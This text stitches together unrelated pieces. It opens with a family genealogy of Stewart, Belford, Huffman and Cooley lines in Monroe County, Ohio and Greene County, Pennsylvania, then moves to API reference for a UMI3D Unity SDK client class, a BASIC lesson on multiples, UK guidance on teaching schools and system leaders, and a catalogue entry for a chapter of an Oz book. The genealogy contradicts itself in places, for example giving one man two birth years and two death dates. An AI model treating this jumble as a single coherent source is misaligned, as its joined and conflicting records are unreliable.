Mary E. BRUHY was born in May 1896 in Monroe County, Ohio.
vii.
Lewis Frederick BRUHY was born on December 23, 1898 in Monroe County,
Ohio. He died on August 9, 1963. He was buried in Mt. Olive Cemetery, Lee
Township, Monroe County, OH.
viii.
Nola E. BRUHY was born on November 23, 1902. She died on January 30, 1993.
Nola
E. BRUHY was married to Harry
Benton SCHOONOVER (son of Thomas
Benton SCHOONOVER and Martha HASLEM). Harry Benton SCHOONOVER was born on
February 24, 1890 in Lee Township, Monroe County, Ohio. He died on September 12, 1971 in Akron,
Ohio.
2. Asa
STEWART was born between 1810 and 1815.
3. Penelope
STEWART was born in 1815 in Greene County, PA. She died on December 31, 1880 in Greene County, PA. Penelope STEWART was married to Henry
Bowler on June 5, 1849 in Greene County, PA. Henry Bowler was born on May 27, 1818 in Greene County, PA. Penelope STEWART and Henry Bowler had the
following children:
a.
Elizabeth S. Bowler.
b.
William Bowler.
4. Uriah
STEWART was born in 1818 in Greene County, PA. Thanks to Gene Howell (Columbus, OH), Uriah moved to Allegan, Michigan in 1868.
Uriah
STEWART was married to Elizabeth Atkins (daughter of Asahil Atkins and Unknown)
about 1840. Elizabeth Atkins was
born in 1824 in Ohio. Uriah STEWART and
Elizabeth Atkins had the following children:
a.
Penelope STEWART was born in 1842 in Monroe County, Ohio.
b.
Neoma STEWART was born in 1844 in Monroe County, Ohio.
Neoma
STEWART was married to Benjamin Howell (son of James Howell and Martha Unknown)
on February 1, 1871 in Allgean, Michigan.
Benjamin Howell died in 1898 in Ben's Run, Pleasants County, WV.
c.
Mary STEWART was born in 1846 in Monroe County, Ohio. She died before 1870.
Mary
STEWART was married to Benjamin Howell (son of James Howell and Martha Unknown)
on June 14, 1864 in Wetzel County, WV, USA.
Benjamin Howell died in 1898 in Ben's Run, Pleasants County,
WV. Mary STEWART and Benjamin Howell
had the following children:
i.
Nimrod Howell was born in 1868 in Virginia.
d.
Asahel STEWART was born in 1848 in Monroe County, Ohio.
e.
Charles W. STEWART was born in 1851.
He died on November 23, 1890 in Allegan, Michigan.
f.
William Thomas STEWART was born on October 13, 1854 in Monroe County,
OH. He died on June 20, 1941 in
Allegan, Michigan.
g.
Nimrod STEWART was born in 1859 in Monroe County, Ohio.
C. Drusilla
STEWART was born in 1780 in Pennsylvania.
She resided in 1840 in Jackson Township., Monroe County, OH; Residence: Green Township. Barnet
Belford was born in 1787 in Pennsylvania.
Drusilla STEWART and Barnet Belford had the following children:
1. Daniel
Belford was born in 1820 in Ohio.
2. Mary
Belford was born in 1824 in Ohio.
3. Daughter
Belford was born between 1825 and 1830.
D. Elisha
STEWART was born between 1775 and 1794.
In the 1820 census of Greene County, PA, but not in 1830.
E. Rachel
STEWART. She married Staggers,
possibly David Staggers.
F. Nancy
STEWART. She married Nathaniel
Cummings.
G. Rebecca
STEWART.
H. Polly
STEWART.
I. Daniel
STEWART was born between 1790 and 1800.
He died between 1860 and 1870. History
of Washington County, Ohio: About 1845,
one of those moving in was Daniel Stewart, a native of Pennsylvania, who came
to Monroe County, Ohio in the first place, and removed thence to Independence.
In 1857, or near that time, he returned to Monroe County and there died.. Eleanor Rutter was born about
1800. Daniel STEWART and Eleanor Rutter
had the following children:
1. Frances
STEWART was born in 1820.
Frances
STEWART was married to James Lundy on March 29, 1840 in Washington County,
OH. Frances STEWART and James Lundy had
the following children:
a.
Martha Lundy was born in 1842 in Ohio.
b.
Ellen Lundy was born in 1845 in Ohio.
c.
Isaac Lundy was born in 1849 in Ohio.
d.
John Lundy was born in 1851 in Ohio.
e.
Alexander Lundy was born in 1853 in Ohio.
f.
Nancy J. Lundy was born in 1854 in Ohio.
g.
Rachel Lundy was born in 1855 in Ohio.
h.
William H. Lundy was born in 1859 in Ohio.
2. John
H. Stewart was born in 1822 in Jackson Township., Monroe County, OH.
John
H. Stewart and Mahala Elson had the following children:
a.
Hiram Stewart was born in 1846 in Ohio.
b.
Whitten Stewart was born in 1848 in Ohio.
c.
Elsten Stewart was born in 1850 in Ohio.
d.
Landres Stewart was born in 1852 in Ohio.
e.
Maria Stewart was born in 1854 in Ohio.
f.
William Stewart was born in 1856 in Ohio.
g.
Louisa Stewart was born in 1859 in Ohio.
3. Daughter
STEWART was born between 1825 and 1830.
4. James
STEWART was born in 1830.
5. Dorcas
STEWART was born in 1832. Ebenezer
Huffman was born in 1831. He died
between 1863 and 1870. Dorcas STEWART
and Ebenezer Huffman had the following children:
a.
Sylvester Huffman was born in 1852.
b.
James Huffman was born in 1854.
c.
Nancy Huffman was born in 1858.
Nancy Huffman was married to Leonard Hanlon. Leonard Hanlon was born in 1856.
d.
Daniel Huffman was born in 1860.
e.
Clarinda/Clarrisa Huffman was born in 1863. Clarinda/Clarrisa Huffman was married to Peter Hackathorn. Clarinda/Clarrisa Huffman was married to
William Payton in 1889 in Washington County, OH.
6. Druzilla
STEWART was born in 1834. William
Cooley was born in 1825 in Missouri.
Druzilla STEWART and William Cooley had the following children:
a.
Daniel W. Cooley was born in 1852.
Daniel
W. Cooley was married to Martha Hissom on March 30, 1884 in Monroe County,
Ohio. Martha Hissom was born on
May 25, 1862 in Monroe County, OH. She
died on December 29, 1946 in Paden City, Tyler County, Virginia. Daniel W. Cooley and Martha Hissom had the
following children:
i.
Ira Cooley was born in 1886. He
died in 1972.
ii.
Dora Cooley was born on September 5, 1888. She died on July 26, 1900.
iii.
Carrie Cooley.
iv.
Nellie Cooley.
v.
Alex Hissom Cooley was born on July 13, 1893 in Sardis, Monroe County,
OH. He died on August 7, 1962 in
Sardis, Monroe County, OH.
Alex
Hissom Cooley was married to Anna Jones (daughter of Oliver P. Jones and Mary
Anne Smittle). Anna Jones was
born on March 8, 1895 in Sardis, Monroe County, OH. She died on November 15, 1971 in New Martinsville Hosptial,
Wetzel County, WV.
b.
Rachel E. Cooley was born in 1854. Rachel E. Cooley was married to
William Hoskinson on June 12, 1880 in Monroe County, Ohio.
c.
Missouri B. Cooley was born in 1862.
Missouri B. Cooley was married to Ezekiel Hoskinson on October 24, 1880
in Monroe County, Ohio. Missouri B.
Cooley and Ezekiel Hoskinson had the following children:
i.
Mary Etta Hoskinson. Mary Etta
Hoskinson was married to Raymond Bowen.
Mary Etta Hoskinson and Raymond Bowen had the following children:
(1)
Blanche Bowen.
Blanche
Bowen was married to Clyde Murphy (son of Edward Murphy and
Liva ROMICK).
(2)
Barnard D. Bowen died in 1951.
(3)
Raymond Bowen.
ii.
Belle Hoskinson.
iii.
Doshia Hoskinson.
iv.
Magnolia Hoskinson.
v.
James Hoskinson.
d.
Mary E. C. Cooley was born in 1865.
Mary
E. C. Cooley was married to John W. Bolen (son of James W. Bolen and Susanna
Scales) on October 22, 1882 in Monroe County, Ohio. John W. Bolen was born in 1863.
e.
Sarah F. Cooley was born in 1867.
f.
William Cooley was born in 1873.
7. Roletta
STEWART was born in 1846. This
relationship isn't proven. She was
living with Daniel in 1860 but was she a daughter of Eleanor and Daniel?
Roletta
Stewart married Samuel W. Jones. They
are buried at Mt. Olive Cemetery.
Roletta's birth date would match this Roletta. Roletta Jones Jul 7, 1846 - Dec 10, 1903. Samuel W. Jones Jan 29, 1842 - Aug 10, 1905.
John
W. Bolen married a Mary Elizabeth Cooley, who was the daughter of William
Washington Cooley and Drusilla Stewart, on Sep 2, 1886 in Washington County,
OH. Mary died and John remarried
Rosetta Stewart who was an aunt of Mary E. Cooley Bolen. This would make Rosetta a sister to
Drusilla, but is this Roletta of 1860?
J. James
STEWART was born between 1780 and 1790.
A minor child in 1817.
K. Dorcas
STEWART was born in 1799 in Pennsylvania.
She resided between 1840 and 1850 in Jackson Township., Monroe County, OH; Residence: Green Township.
Nathan
Belford died between 1843 and 1850 in Jackson Township., Monroe County, OH.
Dorcas STEWART and Nathan Belford had the following children:
1. Benjamin
Belford was born on December 9, 1819 in PA. He died in 1887. He was
buried in Mt. Olive Cemetery, Lee Township, Monroe County, OH. Benjamin Belford was married to Mrs.
Benjamin Belford about 1840. Mrs.
Benjamin Belford died before 1850.
Benjamin Belford and Mrs. Benjamin Belford had the following children:
a.
Eleanor Belford was born in 1841 in Ohio.
b.
John Belford was born in 1844.
He died on December 28, 1902 in Calhoun County, WV. He was buried in Nobe Cemetery, Calhoun
County, WV.
John
Belford was married to Susannah Rebecca Norman (daughter of Richard Norman and
Rebecca Sill) on April 2, 1868 in Sardis, Monroe County, Ohio. Susannah Rebecca Norman was born on
November 22, 1852 in Sardis, Monroe County, Ohio. She died on October 29, 1934 in Calhoun County,, WV.
c.
Nathan Belford was born in 1844 in Ohio.
Benjamin
Belford was married to Sarah Ann Stewart about 1850. Benjamin Belford and Sarah Ann Stewart had the following children:
d.
Rebecca Belford was born in 1851 in Jackson Township, Monroe County, OH.
She died in 1898 in Wetzel County, WV.
Rebecca
Belford was married to James Beegle on April 28, 1872 in Monroe County, OH. James Beegle was born in 1850. Rebecca Belford and James Beegle had the
following children:
i.
Ida May Beegle was born in 1872.
ii.
Eliza Ellen Beegle was born in 1875.
iii.
Emma Jane Beegle was born in 1877.
iv.
Charles Edward Beegle was born in 1878.
He died in 1943.
v.
Thomas Beegle was born in 1883.
He died in 1963.
vi.
Sarah Beegle was born in 1885.
vii.
George Brady Beegle was born in 1886.
He died in 1974.
viii.
John Henry Beegle was born in 1889.
He died in 1943.
ix.
Jessie E. Beegle was born in 1894.
e.
Dorcas Belford was born in 1853 in OH.
f.
Mary Belford was born in 1855 in OH.
g.
William Henry Belford was born on December 14, 1857 in Monroe County,
Ohio. He was born in 1859. He died on May 12, 1930. He died on May 12, 1939 in Sardis, Monroe County,
Ohio.
William
Henry Belford was married to Lucinda HENDERSHOT (daughter of Casper HENDERSHOT
and Frances MORRIS) on May 16, 1883 in Monroe
County, OH. Lucinda HENDERSHOT
was born on May 12, 1864. She died on
August 22, 1948. William Henry Belford
and Lucinda HENDERSHOT had the following children:
i.
Cleora Belford was born on September 22, 1885 in Fly, Monroe County,
Ohio. She died on March 14, 1969 in
East Liverpool, Ohio.
Cleora
Belford was married to William H. Tenley (son of Joseph E. Tenley and Martha E.
Nevis) on December 25, 1905 in Monroe County, OH. William H. Tenley was born about 1884 in Wheeling, Ohio
County, WV.
ii.
Oliver Belford.
iii.
Arthur Belford was born in 1901.
Arthur
Belford was married to Harriet B. Talbott in 1928. Harriet B. Talbott was born in 1899. Arthur Belford and Harriet B. Talbott had
the following children:
(1)
Dora L. Belford was born on September 3, 1933 in Jackson Township,
Monroe County, Ohio. She died on August
28, 1995 in Woodsfield, Monroe County, Ohio.
(2)
Walter Belford.
(3)
Sam Belford.
(4)
William Belford.
(5)
Vera Belford.
iv.
Sarah F. (Sadie) Belford was born in 1887. She died in 1979.
Sarah
F. (Sadie) Belford was married to Franklin Hoskinson. Franklin Hoskinson was born on September
27, 1897. He died on October 27, 1974.
h.
Ezra Belford was born on August 27, 1860 in Sardis, Monroe County,
Ohio. He died on December 28, 1932 in
Sardis, Monroe County, Ohio.
i.
Benjamin F. Belford was born in 1865 in Ohio.
2. Catharine
Belford was born in 1828 in PA.
Catharine
Belford and William Henthorn had the following children:
a.
Frances Henthorn was born in 1852 in Ohio.
b.
Charlotte Henthorn was born in 1857 in Ohio.
c.
Clarrisa Henthorn was born in 1859 in Ohio.
3. Eleanor
Belford was born in 1834 in PA.
4. Elizabeth
Belford was born in 1836.
5. John
Belford was born in 1839 in OH.
6. Barnet
Belford was born in 1841 in OH.
7. Druzilla
Belford was born in 1843 in OH. Druzilla Belford was married to Ezekiel
Wickham on August 2, 1868 in Monroe County, OH.
II. James
STEWART was born about 1763. He
died in 1823 in Greene County, PA.
James STEWART was married to Eleanor. Eleanor was born in 1764.
She died in 1860 in Monroe County, OH.
She was buried in West Union Cemetery, Perry Township, Monroe County,
OH. James STEWART and Eleanor had the
following children:
A. Elizabeth
STEWART was born about 1790.
Elizabeth
STEWART was married to Nathan Clark.
B. Daniel
L. STEWART was born in 1794. He
died in 1874 in Perry Township, Monroe County, Ohio.
C. James
Jr. STEWART was born about 1797.
James Jr. STEWART was married to Susannah Coon. Susannah Coon was born about 1805 in
Pennsylvania. James Jr. STEWART and
Susannah Coon had the following children:
1. Basil
STEWART was born in 1828. He died
on June 2, 1875 in Antioch, Monroe County, OH.
Basil
STEWART was married to Elizabeth Jones.
Elizabeth Jones was born on April 2, 1825 in Monroe County, OH. She died on June 29, 1895 in Monroe County,
OH.
D. Rebecca
STEWART. She married Lewis Stewart
(son of Isaac Stewart and Elizabeth Parrish). They lived in Monroe County,
Ohio.
E. Letitia
STEWART was born in 1799.
Letitia
STEWART was married to Philip Huffman (son of Henry Huffman and Catrouche Fry). Philip Huffman was born in 1788. He died on December 14, 1866. Letitia STEWART and Philip Huffman had the
following children:
1. Frederick
Huffman.
2. Catherine
Huffman.
3. Richard
Huffman was born on July 29, 1826 in Pennsylvania. Richard Huffman was married to Sue Ellen Moore on March 13, 1851
in Belmont County, OH.
4. Hannah
Huffman.
5. Rachel
Huffman.
6. John
Huffman.
7. Nathan
Huffman.
8. Elizabeth
Huffman.
9. Joseph
Huffman.
10. Daniel
Huffman.
F. Eleanor
STEWART was born in 1802 in Greene County, PA. She died on January 24, 1843 in Wayne Township, Kuhntown, Greene
County, PA. Another source gives her death
as 18 Dec 1844 in Wayne Township, Greene County, PA.
Eleanor
STEWART was married to George Sr. King.
George Sr. King was born in 1787.
He died on November 12, 1863 in Kuhntown, Greene County, PA.
G. Sarah
STEWART was born in 1803.
Sarah
STEWART was married to Solomon Huffman (son of Henry Huffman and Margaret). Solomon Huffman was born on June 20,
1803 in Maryland. He died on January 8,
1854. Sarah STEWART and Solomon Huffman had the following children:
1. George
Huffman was born on October 24, 1831 in Monroe County, OH. He died on August 8, 1899 in Perry Township,
Monroe County, Ohio.
George
Huffman was married to Lydia Ullom on January 13, 1854 in Monroe County, OH. Lydia Ullom was born on February 14,
1833. She died on April 24, 1909 in
Perry Township, Monroe County, Ohio.
George Huffman and Lydia Ullom had the following children:
a.
Henry HUFFMAN was born in 1866. He died in 1948.
Henry HUFFMAN was married to Lucinda SCHOONOVER (daughter of William Ellsworth SCHOONOVER and Christena
PORTER) on January 20, 1889 in Monroe County, OH. Lucinda SCHOONOVER was born on March 29,
1868 in Sardis, Monroe County, Ohio.
She died on February 4, 1947 in Lee Township, Monroe County, Ohio. She was buried in Mt. Olive Cemetery, Lee
Township, Monroe County, Ohio. Henry
HUFFMAN and Lucinda SCHOONOVER had the following children:
i.
Nola M. HUFFMAN was born on January 27, 1890. She died in April 1980.
ii.
Clark William HUFFMAN was born on December 21, 1892 in St. Clairsville,
Belmont County, OH. He died in March
1984 in Marietta, Ohio.
Anna
Margaret Martie was born on September 3, 1902 in Sardis, Monroe County,
Ohio. She died on March 6, 1960 in
Marietta, Ohio.
iii.
Bessie O. HUFFMAN was born on February 24, 1896. She died in October 1976.
iv.
Clarence Dewey HUFFMAN was born on February 23, 1898. He died in March 1981.
v.
Pearl M. HUFFMAN was born on March 13, 1901. She died on August 28, 1984 in Sardis, Monroe County, Ohio.
vi.
Emanuel L. HUFFMAN was born on November 22, 1903. He died in December 1976 in Sardis, Monroe
County, Ohio.
2. Solomon
Huffman was born about 1834 in Ohio.
3. Elsie
Huffman was born about 1836.
4. Elias Huffman was born about 1837 in
Ohio.
5. Roseberry
Huffman was born about 1838. Could
be Roseberry Huffman 1835-1914, County, C 2nd WV Cav., wife Zillah 1842-1927,
buried Brownsville Methodist Cemetery.
6. William
Huffman was born about 1840 in Ohio.
7. Minerva
Huffman was born about 1844.
8. Jane
Huffman was born about 1846 in Ohio.
9. Matilda
Huffman was born in 1848 in Ohio.
H. John
STEWART was born about 1803.
I. Peter
STEWART was born about 1804. This
Peter hasn't clearly been identified as James and Eleanor's son .
Peter
STEWART was married to Elizabeth Henthorn.
Elizabeth Henthorn died in 1848.
Peter STEWART and Elizabeth Henthorn had the following children:
1. James
STEWART was born in 1832.
2. Frances
STEWART was born in 1834.
3. Daniel
Stewart was born in 1837.
4. Nathan
STEWART was born in 1839.
5. John
STEWART was born in 1841.
6. Peter
STEWART was born in 1843.
7. Eleanor
STEWART was born in 1844.
8. Elizabeth
STEWART was born on September 26, 1846 in Ohio Township, Monroe County,
Ohio. She died on February 17, 1928 in Center
Township, Monroe County, Ohio. She was
buried on February 19, 1928 in West Union Cemetery, Monroe County, Ohio.
Elizabeth
STEWART was married to Joseph Eddy.
Joseph Eddy was born on September 17, 1841 in Sardis, Monroe County,
OH. He died on January 17, 1931 in
Woodsfield, Monroe County, Ohio.
9. Alexander
STEWART was born in 1848.
J. Rachel
STEWART was born about 1805.
K. Richard
STEWART was born on May 27, 1808.
He died on December 15, 1895. He
was buried in Antioch, Monroe County, OH.
Richard STEWART was married to Catherine Thomas. Catherine Thomas was born on February
22, 1810. She died on August 7,
1888. She is buried at Antioch
Cemetery, Perry Township, Monroe County, Ohio. Richard STEWART and Catherine
Thomas had the following children:
1. Margaret
STEWART was born on February 6, 1832 in Greene County, PA. She died on September 4, 1909.
Margaret
STEWART was married to William H. Huffman (son of Joseph Huffman and Sarah
Hunt) on October 11, 1849 in Greene County, PA. William H. Huffman was born on May 5, 1828 in Greene County,
PA. He died on February 20, 1911 in
Greene County, PA.
2. Hannah
STEWART was born in 1834 in Greene County, PA.
3. Maria
STEWART was born in 1837 in Greene County, PA.
4. Thomas
B. STEWART was born on April 3, 1839 in Greene County, PA. He died on March 26, 1881 in Monroe County,
OH. He was buried in Antioch Cemetery,
Perry Township, Monroe County, Ohio.
Thomas
B. STEWART was married to Mary Ullom (daughter of Elijah Ullom and Elizabeth
Mitchell). Mary Ullom was born
on July 7, 1843 in Monroe County, OH.
She died on March 23, 1927 in Perry Township, Monroe County, Ohio. She was buried in Antioch Cemetery, Perry
Township, Monroe County, Ohio.
5. James
STEWART was born in 1841 in Greene County, PA.
6. Sidney
STEWART was born on July 20, 1843 in Greene County, PA. She died on May 15, 1923.
Sidney
STEWART was married to Reason Huffman on October 15, 1859. Reason Huffman was born on June 24, 1831
in Greene County, PA. He died on
October 4, 1907.
7. Eleanor
STEWART was born in 1845 in Greene County, PA.
8. John
STEWART was born on January 28, 1847 in Greene County, PA. He died on June 20, 1879 in Monroe County,
OH. He was buried in Antioch Cemetery,
Monroe County, Ohio.
9. Mary
STEWART was born in 1849 in Greene County, PA.
L. Hannah
STEWART was born about 1811.
Hannah
STEWART was married to Tobias Haught.
III. Isaac
Stewart was born between 1765 and 1768.
Isaac married Elizabeth Parrish.
Isaac Stewart and Elizabeth Parrish had the following children:
A. Samuel
Stewart was born ca 1790. He married
probably Martha Hickman. Samuel moved
to Monroe County, Ohio.
B. Louis
Stewart was born before 1800. He married
Rebecca Stewart (daughter of James and Eleanor Stewart). They lived in Monroe County, Ohio.
C. Delilah
Stewart
D. Isaac
Stewart. He married Sarah Grove.
E. Peter
Stewart. He died in 1860. He married Catharine Edgar.
F. Rebecca
Stewart was born in 1797. She died in
1877. She married Frederick
Hunnell.
G. James
Stewart was born in 1802. He died in
1863. He married Mary Blair.
IV. Hezekiah
Stewart. He married Susannah
Bonnett. Isaac and Susannah had the
following children:
A. Jacob
Stewart.
B. Jesse
Stewart was born October 1, 1794. He
died in 1885. He married Rachel Smith
Huffman.
David Stewart.
He married Elizabeth. They moved
to Tyler County, WV.
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UMI3D Unity SDK
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A UMI3D sdk implementation using Unity
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UMI3D server on the browser, in a collaborative context. More...
Public Member Functions | |
| async void | Clear () |
| Makes all client log out and delete references to them. More... | |
| void | ConnectionStatus (UMI3DEnvironmentClient client, bool lost) |
| void | ConnectionLost (UMI3DEnvironmentClient client) |
| Notify that the connection with the server was lost. More... | |
| override async Task< bool > | TryAgainOnHttpFail (RequestFailedArgument argument) |
| Retry a failed http request More... | |
| override ulong | GetUserId () |
Return the user ID attributed by the server.
Default is 0. More... | |
| UMI3DEnvironmentClient.UserInfo | GetUser () |
| override ulong | GetTime () |
return time server in millisecond, use synchronised time in collaborative cases.
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| override double | GetRoundTripLAtency () |
| override object | GetHttpClient () |
| return HTTPClient if the server is a collaboration server. More... | |
| virtual async Task< bool > | TryAgainOnHttpFail (RequestFailedArgument argument) |
| Retry a failed http request More... | |
| virtual ulong | GetUserId () |
| Return the user ID attributed by the server. More... | |
| virtual ulong | GetTime () |
| return time server in millisecond, use synchronised time in collaborative cases. More... | |
| virtual Object | GetHttpClient () |
| return HTTPClient if the server is a collaboration server. return null in that case More... | |
| virtual double | GetRoundTripLAtency () |
Static Public Member Functions | |
| static bool | Connected () |
| State if the Client is connected to a Server. More... | |
| static async void | Reconnect () |
| Reconnect to the last environment More... | |
| static async void | Connect (RedirectionDto redirection, Action< string > failed=null) |
| Start the connection to a Master Server. More... | |
| static void | Connect (MediaDto dto, Action< string > failed=null) |
| static async void | Logout () |
| static void | ReceivedLogoutMessage (string message) |
| static void | EnvironmentLogout (Action success, Action< string > failled) |
| Logout of the current server More... | |
| static async Task< MediaDto > | GetMedia (string url, Func< RequestFailedArgument, bool > shouldTryAgain=null) |
| Get a media dto at a raw url using a get http request. The result is store in UMI3DClientServer.Media. More... | |
| static void | SendVOIP (int length, byte[] sample) |
| Send a vocal message through VoIP. More... | |
| Static Public Member Functions inherited from umi3d.cdk.UMI3DClientServer | |
| static string | getAuthorization () |
| static void | SendData (AbstractBrowserRequestDto dto, bool reliable) |
| Send a browser request to the server. More... | |
| static void | SendTracking (AbstractBrowserRequestDto dto) |
| static async Task< byte[]> | GetFile (string url, bool useParameterInsteadOfHeader) |
| static async Task< LoadEntityDto > | GetEntity (List< ulong > ids) |
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| UnityEvent | OnLeaving = new UnityEvent() |
| UnityEvent | OnLeavingEnvironment = new UnityEvent() |
| UnityEvent | OnNewToken = new UnityEvent() |
| UnityEvent | OnConnectionLost = new UnityEvent() |
| UnityEvent | OnRedirectionStarted = new UnityEvent() |
| UnityEvent | OnRedirectionAborted = new UnityEvent() |
| UnityEvent | OnRedirection = new UnityEvent() |
| UnityEvent | OnReconnect = new UnityEvent() |
| UnityEvent | OnConnectionCheck = new UnityEvent() |
| UnityEvent | OnConnectionRetreived = new UnityEvent() |
| OnForceLogoutEvent | OnForceLogoutMessage = new OnForceLogoutEvent() |
| ClientIdentifierApi | Identifier |
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| static PendingTransactionDto | transactionPending = null |
| static Func< MultiProgress > | EnvironmentProgress = null |
| static OnProgressEvent | onProgress = new OnProgressEvent() |
Protected Member Functions | |
| override void | OnDestroy () |
| override void | _Send (AbstractBrowserRequestDto dto, bool reliable) |
| Send a BrowserRequestDto on a RTC More... | |
| override void | _SendTracking (AbstractBrowserRequestDto dto) |
| Send Tracking BrowserRequest More... | |
| override async Task< byte[]> | _GetFile (string url, bool useParameterInsteadOfHeader) |
| override async Task< LoadEntityDto > | _GetEntity (List< ulong > ids) |
| override string | _getAuthorization () |
| virtual string | _getAuthorization () |
| virtual void | _Send (AbstractBrowserRequestDto dto, bool reliable) |
| virtual void | _SendTracking (AbstractBrowserRequestDto dto) |
| virtual Task< byte[]> | _GetFile (string url, bool useParameterInsteadOfHeader) |
| virtual Task< LoadEntityDto > | _GetEntity (List< ulong > id) |
Properties | |
| static new UMI3DCollaborationClientServer | Instance [get, set] |
| static bool | useDto [get] |
| Should serialization be done using json DTOs rather than byte containers? More... | |
| static PublicIdentityDto | PublicIdentity [get] |
| override ForgeConnectionDto | connectionDto [get] |
| bool | IsRedirectionInProgress = false [get, protected set] |
| StatusType | status [get, set] |
| string | environementName [get] |
| string | worldName [get] |
| Properties inherited from umi3d.cdk.UMI3DClientServer | |
| virtual ForgeConnectionDto | connectionDto [get] |
| Environment connected to. More... | |
| bool | AuthorizationInHeader [get] |
| If true, authorizations must be set in headers. More... | |
| static MediaDto | Media [get] |
| Environment connected to. More... | |
| static ForgeConnectionDto | Environement [get] |
| Environment connected to. More... | |
Additional Inherited Members | |
| Protected Attributes inherited from umi3d.cdk.UMI3DClientServer | |
| MediaDto | _media |
| Environment connected to. More... | |
UMI3D server on the browser, in a collaborative context.
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Send a BrowserRequestDto on a RTC
| dto | Dto to send |
| reliable | is the data channel used reliable |
Reimplemented from umi3d.cdk.UMI3DClientServer.
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Send Tracking BrowserRequest
| dto | Dto to send |
| reliable | is the data channel used reliable |
Reimplemented from umi3d.cdk.UMI3DClientServer.
| async void umi3d.cdk.collaboration.UMI3DCollaborationClientServer.Clear | ( | ) |
Makes all client log out and delete references to them.
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Start the connection to a Master Server.
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State if the Client is connected to a Server.
| void umi3d.cdk.collaboration.UMI3DCollaborationClientServer.ConnectionLost | ( | UMI3DEnvironmentClient | client | ) |
Notify that the connection with the server was lost.
| void umi3d.cdk.collaboration.UMI3DCollaborationClientServer.ConnectionStatus | ( | UMI3DEnvironmentClient | client, |
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Logout of the current server
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return HTTPClient if the server is a collaboration server.
Reimplemented from umi3d.cdk.UMI3DClientServer.
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Get a media dto at a raw url using a get http request. The result is store in UMI3DClientServer.Media.
| url | Url used for the get request. |
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Reimplemented from umi3d.cdk.UMI3DClientServer.
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return time server in millisecond, use synchronised time in collaborative cases.
Reimplemented from umi3d.cdk.UMI3DClientServer.
| UMI3DEnvironmentClient.UserInfo umi3d.cdk.collaboration.UMI3DCollaborationClientServer.GetUser | ( | ) |
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Reconnect to the last environment
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Send a vocal message through VoIP.
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| UnityEvent umi3d.cdk.collaboration.UMI3DCollaborationClientServer.OnConnectionCheck = new UnityEvent() |
| UnityEvent umi3d.cdk.collaboration.UMI3DCollaborationClientServer.OnConnectionLost = new UnityEvent() |
| UnityEvent umi3d.cdk.collaboration.UMI3DCollaborationClientServer.OnConnectionRetreived = new UnityEvent() |
| OnForceLogoutEvent umi3d.cdk.collaboration.UMI3DCollaborationClientServer.OnForceLogoutMessage = new OnForceLogoutEvent() |
| UnityEvent umi3d.cdk.collaboration.UMI3DCollaborationClientServer.OnLeaving = new UnityEvent() |
| UnityEvent umi3d.cdk.collaboration.UMI3DCollaborationClientServer.OnLeavingEnvironment = new UnityEvent() |
| UnityEvent umi3d.cdk.collaboration.UMI3DCollaborationClientServer.OnNewToken = new UnityEvent() |
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| UnityEvent umi3d.cdk.collaboration.UMI3DCollaborationClientServer.OnReconnect = new UnityEvent() |
| UnityEvent umi3d.cdk.collaboration.UMI3DCollaborationClientServer.OnRedirection = new UnityEvent() |
| UnityEvent umi3d.cdk.collaboration.UMI3DCollaborationClientServer.OnRedirectionAborted = new UnityEvent() |
| UnityEvent umi3d.cdk.collaboration.UMI3DCollaborationClientServer.OnRedirectionStarted = new UnityEvent() |
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Let's display the numbers from 1 to 100.
With "FOR"/"NEXT" command, while incrementing a variable X by 1, repeat until it reaches 100.
Let's display only the multiples of 3 using the symbol "%" which calculates the remainder.
When it displays also multiples of 5, use "OR" meaning "either".
When it displays what it is a multiple of 3 and 5, use "AND" meaning "both".
This is "common multiple" of 3 and 5.
The first number 15 is "least common multiple".
Let's display "common multiples" of 2 and 3 and 5
There are 3 "common multiples", and 30 is the "least common multiple" between 1 and 100.
Try it!
1. Let's display the multiples of 7
2. Let's display the multiples of 13
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Teaching school and system leader help desk
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Guidance
Find a teaching school, system leader or teaching and leadership adviser in your area to get tailored support for you and your school.
One of the most effective ways of achieving school improvement is by working with other schools.
There are now many opportunities for school leaders and governors to work with and receive support from their peers. This guide summarises the options available to you and how to access them.
Use the school-to-school support directory to find and contact system leaders or teaching schools in your area.
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The role of teaching schools is to work with others to provide high-quality training and development and support in their local area.
Teaching schools lead in 6 areas:
Read the latest Teaching schools: the school perspective report. This report gives examples of what teaching schools around the country are doing to respond to the main areas of their role.
Schools are welcome to contact a teaching school to ask about what they can offer.
Find teaching schools in your area:
There may be costs, depending on what type of support you need. You will negotiate any payment with the teaching school.
This will vary considerably, depending on how much support your school needs. Some projects only take a few days, others can include full-time support roles over a period of several years. Your school, the teaching school, and any concerned organisations (for example, Ofsted or the local authority) will negotiate this.
Local authorities and other educational support organisations who want to work with teaching schools should email us at the address below to discuss options.
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NLEs are outstanding headteachers who work with schools in challenging circumstances to support school improvement.
Because their support role will often include members of their own staff, the school of a national leader of education is called a national support school.
You should contact an NLE if you want to improve performance at your school. They will meet with the headteacher and senior staff from your school to discuss the challenges you face and what help is needed. Their work will be tailored in partnership with you.
They can get involved in different ways, including:
Use the school-to-school support directory to find national leaders of education in your area. Contact details are available through the directory. You can contact the NLE directly.
There may be costs, depending on what type of support you need. Any payments will be negotiated between you and the NLE ’s school.
This is a very intensive form of support. The length and type of work can vary significantly. It could involve up to 3 to 4 days of support per week for 2 years or more.
For more information about NLEs , email<EMAIL_ADDRESS>.
NLGs are highly effective chairs of governors who support chairs of governors in other schools.
You should contact an NLG if you want to improve the leadership and performance of your school’s governing body.
Typical activities include:
Use the school-to-school support directory to find national leaders of governance in your area. Contact details are available through the directory. You can contact the NLG directly.
NLGs are expected to have a placement at least once over the course of a year, supporting a chair of governors, and his or her school. Any cost will be negotiated between you and the NLG ’s school.
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The National College for Teaching and Leadership ( NCTL ) will no longer designate LLEs, and instead we‘ll give teaching schools the freedom to recruit and designate school leaders in this role as they already do with specialist leaders of education ( SLEs ).
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Teaching schools manage the placements for SLEs . A teaching school in your area will send the SLE to work with staff in your school.
Use the school-to-school support directory to find teaching schools in your area, then browse the subjects that SLEs cover in those schools. Contact details are available through the directory. You can contact the teaching school directly.
You will usually need to pay the teaching school for an SLE ’s time. Payment for SLE services is negotiated by you and the teaching school.
This will vary according to the project, level of support required and number of your staff involved. For example, one project might be a 2 day diagnostic exercise, while another might require a 3 month, full-time support role. Time may be taken as a block of consecutive days or spread over a longer period.
For more information about SLEs , email<EMAIL_ADDRESS>.
Teaching and leadership advisers will work regionally with the education sector to help teaching schools work together. In particular, they will:
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The Emerald City of Oz
by L. Frank Baum
Chapter 29: “How Glinda Worked a Magic Spell”
Additional Information
- Year Published: 1910
- Language: English
